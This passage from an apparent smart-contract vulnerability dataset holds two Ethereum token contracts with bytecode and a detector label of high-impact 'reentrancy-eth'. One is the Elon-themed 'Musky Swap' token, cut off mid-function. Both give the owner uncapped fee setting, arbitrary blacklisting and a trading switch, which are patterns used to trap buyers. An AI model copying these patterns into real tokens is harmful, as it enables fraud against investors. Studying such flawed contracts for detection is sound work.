IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047557600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b6105c0565b005b3480156101ff57600080fd5b50604080518082019091526008815267546f676570696e7560c01b60208201525b60405161022d9190611be8565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a06565b61065f565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd3660046119c5565b610676565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f366004611952565b6106df565b34801561036057600080fd5b506101f161036f366004611b82565b61072a565b34801561038057600080fd5b506101f1610772565b34801561039557600080fd5b506102b46103a4366004611952565b6107bd565b3480156103b557600080fd5b506101f16107df565b3480156103ca57600080fd5b506101f16103d9366004611b9d565b610853565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611b82565b610882565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b506040805180820190915260048152634745504960e01b6020820152610220565b34801561048157600080fd5b506101f1610490366004611b9d565b6108ca565b3480156104a157600080fd5b506101f16104b0366004611bb6565b6108f9565b3480156104c157600080fd5b506102566104d0366004611a06565b610937565b3480156104e157600080fd5b506102566104f0366004611952565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610944565b34801561052657600080fd5b506101f1610535366004611a32565b610998565b34801561054657600080fd5b506102b461055536600461198c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611b9d565b610a39565b3480156105ac57600080fd5b506101f16105bb366004611952565b610a68565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c3d565b60405180910390fd5b60005b815181101561065b5760016010600084848151811061061757610617611d84565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065381611d53565b9150506105f6565b5050565b600061066c338484610b52565b5060015b92915050565b6000610683848484610c76565b6106d584336106d085604051806060016040528060288152602001611dc6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b2565b610b52565b5060019392505050565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a757506013546001600160a01b0316336001600160a01b0316145b6107b057600080fd5b476107ba816111ec565b50565b6001600160a01b03811660009081526002602052604081205461067090611271565b6000546001600160a01b031633146108095760405162461bcd60e51b81526004016105ea90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105ea90611c3d565b601655565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b81526004016105ea90611c3d565b601855565b6000546001600160a01b031633146109235760405162461bcd60e51b81526004016105ea90611c3d565b600893909355600a91909155600955600b55565b600061066c338484610c76565b6012546001600160a01b0316336001600160a01b0316148061097957506013546001600160a01b0316336001600160a01b0316145b61098257600080fd5b600061098d306107bd565b90506107ba816112f5565b6000546001600160a01b031633146109c25760405162461bcd60e51b81526004016105ea90611c3d565b60005b82811015610a335781600560008686858181106109e4576109e4611d84565b90506020020160208101906109f99190611952565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2b81611d53565b9150506109c5565b50505050565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016105ea90611c3d565b601755565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b038116610af75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610dca57506000546001600160a01b03838116911614155b156110ab57601554600160a01b900460ff16610e63576000546001600160a01b03848116911614610e635760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610eb55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef757506001600160a01b03821660009081526010602052604090205460ff16155b610f4f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610fd45760175481610f71846107bd565b610f7b9190611ce3565b10610fd45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610fdf306107bd565b601854601654919250821015908210610ff85760165491505b80801561100f5750601554600160a81b900460ff16155b801561102957506015546001600160a01b03868116911614155b801561103e5750601554600160b01b900460ff165b801561106357506001600160a01b03851660009081526005602052604090205460ff16155b801561108857506001600160a01b03841660009081526005602052604090205460ff16155b156110a857611096826112f5565b4780156110a6576110a6476111ec565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ed57506001600160a01b03831660009081526005602052604090205460ff165b8061111f57506015546001600160a01b0385811691161480159061111f57506015546001600160a01b03848116911614155b1561112c575060006111a6565b6015546001600160a01b03858116911614801561115757506014546001600160a01b03848116911614155b1561116957600854600c55600954600d555b6015546001600160a01b03848116911614801561119457506014546001600160a01b03858116911614155b156111a657600a54600c55600b54600d555b610a338484848461147e565b600081848411156111d65760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611d3c565b95945050505050565b6012546001600160a01b03166108fc6112068360026114ac565b6040518115909202916000818181858888f1935050505015801561122e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112498360026114ac565b6040518115909202916000818181858888f1935050505015801561065b573d6000803e3d6000fd5b60006006548211156112d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112e26114ee565b90506112ee83826114ac565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d611d84565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139157600080fd5b505afa1580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c9919061196f565b816001815181106113dc576113dc611d84565b6001600160a01b0392831660209182029290920101526014546114029130911684610b52565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143b908590600090869030904290600401611c72565b600060405180830381600087803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148b5761148b611511565b61149684848461153f565b80610a3357610a33600e54600c55600f54600d55565b60006112ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b60008060006114fb611664565b909250905061150a82826114ac565b9250505090565b600c541580156115215750600d54155b1561152857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611551876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158390876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b29086611741565b6001600160a01b0389166000908152600260205260409020556115d4816117a0565b6115de84836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162391815260200190565b60405180910390a3505050505050505050565b600081836116575760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611cfb565b6006546000908190662386f26fc1000061167e82826114ac565b82101561169957505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114ee565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b60008061174e8385611ce3565b9050838110156112ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117aa6114ee565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114ac565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c257506000610670565b60006118ce8385611d1d565b9050826118db8583611cfb565b146112ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561193d81611db0565b919050565b8035801515811461193d57600080fd5b60006020828403121561196457600080fd5b81356112ee81611db0565b60006020828403121561198157600080fd5b81516112ee81611db0565b6000806040838503121561199f57600080fd5b82356119aa81611db0565b915060208301356119ba81611db0565b809150509250929050565b6000806000606084860312156119da57600080fd5b83356119e581611db0565b925060208401356119f581611db0565b929592945050506040919091013590565b60008060408385031215611a1957600080fd5b8235611a2481611db0565b946020939093013593505050565b600080600060408486031215611a4757600080fd5b833567ffffffffffffffff80821115611a5f57600080fd5b818601915086601f830112611a7357600080fd5b813581811115611a8257600080fd5b8760208260051b8501011115611a9757600080fd5b602092830195509350611aad9186019050611942565b90509250925092565b60006020808385031215611ac957600080fd5b823567ffffffffffffffff80821115611ae157600080fd5b818501915085601f830112611af557600080fd5b813581811115611b0757611b07611d9a565b8060051b604051601f19603f83011681018181108582111715611b2c57611b2c611d9a565b604052828152858101935084860182860187018a1015611b4b57600080fd5b600095505b83861015611b7557611b6181611932565b855260019590950194938601938601611b50565b5098975050505050505050565b600060208284031215611b9457600080fd5b6112ee82611942565b600060208284031215611baf57600080fd5b5035919050565b60008060008060808587031215611bcc57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1557858101830151858201604001528201611bf9565b81811115611c27576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc25784516001600160a01b031683529383019391830191600101611c9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf657611cf6611d6e565b500190565b600082611d1857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3757611d37611d6e565b500290565b600082821015611d4e57611d4e611d6e565b500390565b6000600019821415611d6757611d67611d6e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022a12a0f93fbda9a82b3aceddb8b5103414b6b9e8501388b9767d4126ed5335e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,872
0x8ba9c4f29781b132f15f4b67d3aaa1a995aa9ac8
// SPDX-License-Identifier: Unlicensed /* IN ELON WE TRUST! MuskSwap presents you with a better and more luxurious onchain swap. MuskSwap enables people to swap your crypto assets at the best exchange rate. Various protocols will be introduced in the MuskSwap. It is our goal to provide a Musk Aggregation Protocol which can not only facilitate cost-efficient and secure swap transactions across multiple liquidity sources but also facilitates the most innovative and flexible limit order swap opportunities in DeFi by setting up a Limit Order Protocol. A spot price aggregator will also be introduced. The Musk spot price aggregator is a set of smart contracts that extract price data for tokens traded on DEXes from the blockchain which can easily allow our users to access the most updated and accurate information in order to make the most suitable decision. https://muskyswap.xyz https://t.me/muskswapeth https://twitter.com/muskswapeth */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MUSKSWAP is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Musky Swap"; string private constant _symbol = "MUSKSWAP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != 